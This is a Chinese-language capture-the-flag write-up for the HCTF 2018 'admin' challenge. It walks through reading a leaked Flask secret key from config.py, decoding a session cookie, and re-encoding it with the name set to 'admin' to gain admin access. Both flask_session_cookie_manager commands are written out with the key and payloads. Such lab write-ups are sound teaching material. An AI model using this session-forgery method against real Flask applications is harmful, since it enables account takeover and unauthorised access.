[HCTF 2018]admin 1

1.发现

1.1将每个界面源代码看一遍,发现提示要注册登录。

[HCTF 2018]admin 1

1.2注册登录后查看各节目源代码,发现一个提示,后面用到。

[HCTF 2018]admin 1

 

 

 1.3 在change源代码中,发现提示,下载文件。

[HCTF 2018]admin 1

 

 

 

1.4 通过第一个提示打开下载文件中的index.html文件,分析代码,发现如果session等于admin就出hctf{},即flag。

而提示flask就有用了,flask是轻量级web框架,session存在客户端,我们可以伪造session(cookie)。

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}

 

知识点:
1)Flask 会话 Cookie 解码器/编码器的安装与使用。

2.步骤

2.1在config.py中得到secret key

[HCTF 2018]admin 1

 

 

2.2 在网页中随便提取得到Cookie.

[HCTF 2018]admin 1

 

 

 2.3 解密

python flask_session_cookie_manager3.py decode -s 'ckj123' -c ".eJw9kMFqwkAURX-lvLWLZBI3ggvLVBth3hB5MczbiDUxccaxNCqSiP_eqQXXh3vg3Dts9l19bmFy6a71CDaHCiZ3ePuCCSiBlmndKmsGpDxCmlsc2KKsDki7FMuVQ-siJnRqsW5ZzhKWq1ZLdOizXlPllPwYcJgNRhQ9S3NDuRsbwV4FD9u8D_vUlEvHZXD_eWQhkIpelUWKkq0p8wQXgfn50VB-05T3WhaJEuujESurbOXYmyk8RrA7d_vN5dvVp1eCpixmYq9pGVKqlm0ThYlncokaVKro3bJsYrXgo_HotczGeJs-dQe_beqXiT7nPzr_J6etDwBikcAIrue6e74GcQSPX8TKa-o.YR7E1g.yceXorVB7JToX1UUNrdBIPfMgJM"

[HCTF 2018]admin 1

2.4 将name改为admin,再加密,得到新的session值。

python flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh': True, '_id': b'3cce5a26354451c76c47b5785dd694e3d0ead07d4a83d6b297d013703ce2d60479cff36cf42698abdeac53d0565521e846cad74ac6aea409428573eecdc27dff', 'csrf_token': b'925e6f92ce7af8427fe9733810cd850febcf8297', 'image': b'Lqj9', 'name': 'admin', 'user_id': '10'}"

 

[HCTF 2018]admin 1

 

2.5将加密后的session输回去,然后返回index主页就可以得到flag。

[HCTF 2018]admin 1

 

3.借鉴

(16条消息) BUUCTF [HCTF 2018]admin 1_wow小华的博客-CSDN博客

https://github.com/noraj/flask-session-cookie-manager

 

上一篇:基于IPv6的数据抓包分析(GNS3)


下一篇:基于IPv6的数据包分析(GNS3)